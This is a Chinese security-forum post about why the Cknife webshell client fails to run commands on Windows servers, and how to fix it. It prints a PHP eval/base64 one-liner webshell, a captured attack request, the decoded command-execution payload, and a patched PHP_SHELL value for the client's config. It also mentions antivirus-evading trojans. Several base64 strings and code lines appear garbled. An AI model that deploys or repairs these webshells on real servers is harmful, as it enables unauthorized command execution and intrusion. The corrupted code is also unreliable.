

Cknife的shell无法执行命令原因以及解决

[lz1y](#) / 2017-08-03 08:07:00 / 浏览数 3906 [安全技术](#) [技术讨论](#) [顶\(0\)](#) [踩\(0\)](#)

无论我拿到什么样的shell。使用cknife使用shell都是

哇，气死人了。

昨晚写出来了配套的过狗过D盾过360一句话木马，也把Cknife的数据做了加密。

然而，这东西根本无法好好使用啊！

测试一句话（服务端）：

```
<?php eval(base64_decode($_POST['a']).');';
```

于是给Cknife,连接shell,打开burp抓包

这是执行“whoami”时候的请求，没有返回的报文。

```
POST /test.php HTTP/1.1
User-Agent: Java/1.8.0_121
Host: localhost
Accept: text/html, image/gif, image/jpeg, */*; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 598
Connection: close
```

```
a=QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPu1RbYWN0aW9uXSkpOw== &action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiaWMCip00BzZXRfdGltZV9saW1pdCg
```

本地模拟了服务端处理客户端请求的场景

```
<?php

//■■■■■■■■■■
$_POST['a'] = 'QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPu1RbYWN0aW9uXSkpOw==';
$_POST['z1']='Y2lk';
$_POST['z2']='Y2QvZCJEOLxwaHBTdHVkeVxXV1dcIiZ3aG9hbWkmZWNObyBbU10mY2QmZWNObyBbRV0=';
$_POST['action']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiaWMCip00BzZXRfdGltZV9saW1pdCgwkTtAc2V0X2lhZ2ljX3F1b3Rlc19ydW50aW1lKDApO2Vj

//■■■■
eval(base64_decode($_POST['a']).');';
```

然后Base64解码

```
<?php
$_POST['z1']='Y2lk';
$_POST['z2']='Y2QvZCJEOLxwaHBTdHVkeVxXV1dcIiZkaXImZWNObyBbU10mY2QmZWNObyBbRV0=';
eval('
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("<?php");
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/?"-c "{s}\":"/c "{s}\\"";$r="{p} {c}";
system($r." 2>&l",$ret);
print ($ret!=0)?"ret={$ret}":"";
echo("<?php");die();
');
```

这就通过短短一句话木马来做事情的秘密了。

特么的！最坑的地方知道是什么吗！我找了一晚上！

```
$c=substr($d,0,1)=="/?"-c "{s}\":"/c "{s}\\"";
$r="{p} {c}";
```

```
system($r." 2>&l",$ret);
```

看似很正常对吧？

```
$p = 'cmd';
```

```
$c= 'whoami'; (举例)
```

```
>$r="{ $p } { $c }";
```

```
然后system($r);
```

一切都很完美吧？

那你就错了，因为

呵呵，所以shell环境是Windows的时候有可能发生这种低级问题，

你！根！本！执！行！不！了！命！令！

解决起来也很简单

明文修改部分就行了！

```
<?php
$_POST['z1']='Y2lk';
$_POST['z2']='Y2QvZCJE0lxwaHBTdHVkeVxXV1dcIiZkaXImZWNoYBbU10mY2QmZWNoYBbRV0=';
eval('
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/?"-c "{s}\": "/c "{s}\";
$r="{s}";
system($r." 2>&l",$ret);print ($ret!=0)?"
ret={$ret}
":"";echo("|<-");die();
');
```

实际操作只需要

打开c刀的Config.ini文件,查找

```
php_shell=
```

修改成

```
PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwMCIPowPac2V0X3RpbWVfbGltaxQoMck7CkBzZXRfbWFnawNfcXVvdGVzX3J1bnRpbWUoMck7CmVjaG8o
```

就行了，然后重新打开一次C刀。大功告成。

点击收藏 | 1 关注 | 1

[上一篇：云悉指纹 - 可能是目前为止最用心...](#) [下一篇：《docker入门指南》](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)